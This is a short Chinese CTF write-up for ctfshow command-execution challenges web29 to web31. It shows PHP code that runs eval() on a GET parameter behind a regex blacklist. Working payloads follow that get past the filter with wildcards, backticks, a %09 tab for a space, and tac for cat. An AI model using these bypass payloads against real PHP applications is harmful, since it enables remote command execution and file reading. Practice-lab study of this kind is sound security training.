web29
题目源码:
if(isset($_GET[‘c‘])){
$c = $_GET[‘c‘];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:通配符绕过flag过滤
Payload1:/?c=system(“ls”);
#找到flag.php
Payload2:/?c=system(“cat fla*”);
web30
题目源码
if(isset($_GET[‘c‘])){
$c = $_GET[‘c‘];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。
Payload1:?c=echo `cat *` ;
web31
题目源码
if(isset($_GET[‘c‘])){
$c = $_GET[‘c‘];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\‘/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。
Payload1:?c=echo `tac%09*`;
ctfshow WEB入门 命令执行 web29-web122